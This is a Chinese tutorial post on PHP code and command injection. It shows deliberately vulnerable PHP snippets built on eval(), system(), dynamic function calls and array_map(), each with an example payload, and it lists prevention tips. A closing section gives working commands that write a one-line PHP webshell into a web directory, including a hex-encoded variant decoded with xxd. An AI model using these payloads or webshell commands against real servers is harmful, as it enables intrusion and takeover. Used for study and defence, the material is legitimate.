[web安全] 代码注入(命令注入)

部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.example.com是否可以正常连接,那么Web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。


漏洞利用执行net user指令


命令连接符总结:
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
以上三种连接符在windows和linux环境下都支持

一、代码注入

eval()函数可以把字符串按照PHP代码来执行,换句话说,就是可以动态地执行PHP代码,使用eval函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。

<?php
	$myvar = "varname";
	$x = $_GET['arg'];
	eval("\$myvar = $x;");
?>
 攻击者可以通过如下Payload实施代码注入: 
 

/index.php?arg=1;phpinfo()

二、命令注入

PHP提供了部分函数用来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()

<?php
    $command = $_REQUEST["command"];
    system($command);
?>
 攻击者通过以下的payload实施攻击 
 

vulnerable.php?command=ls

注:使用PHP.EXE传递参数时,如果有空格,一般在windows下使用双引号(""),Linux下使用单引号(')括起来,否则将无法正常执行。

三、动态函数调用

<?php
	$fun = $_GET['fun'];
	$par = $_GET['par'];
	$fun($par);
?>
这样可以动态调用函数,但也易被黑客利用,如,http://www.example.com/funtion.php?fun=system&par=net user
最终的执行函数为 system("net user")

四、PHP函数代码执行漏洞
在PHP中,代码执行漏洞出现较多,像preg_replace(),ob_start(),array_map()等函数都存在代码执行漏洞。
<?php
	$arr = $_GET['arr'];
	$array = array(1,2,3,4,5);
	$new_array = array_map($arr,$array);
?>
攻击者可输入如下URL:http://www.example.com/function.php?arr=phpinfo, 发现phpinfo函数被执行。

五、防范方法:
1.尽量不要使用系统执行命令;
2.在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;
3.在使用动态函数之前,确保使用的函数是指定的函数之一;
4.对PHP语言来说,不能完全控制的危险函数最好不要使用

后记:命令注入写webshell

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[pandas]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[pandas]); ?^> > web可写目录

[web安全] 代码注入(命令注入)_第1张图片

[web安全] 代码注入(命令注入)_第2张图片


LINUX:linux下需要用\来转义<,不过很多php都默认开启gpc。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b70616e6461735d293b203f3e|xxd -r -ps > web可写目录


[web安全] 代码注入(命令注入)_第3张图片

[web安全] 代码注入(命令注入)_第4张图片

你可能感兴趣的:([web安全] 代码注入(命令注入))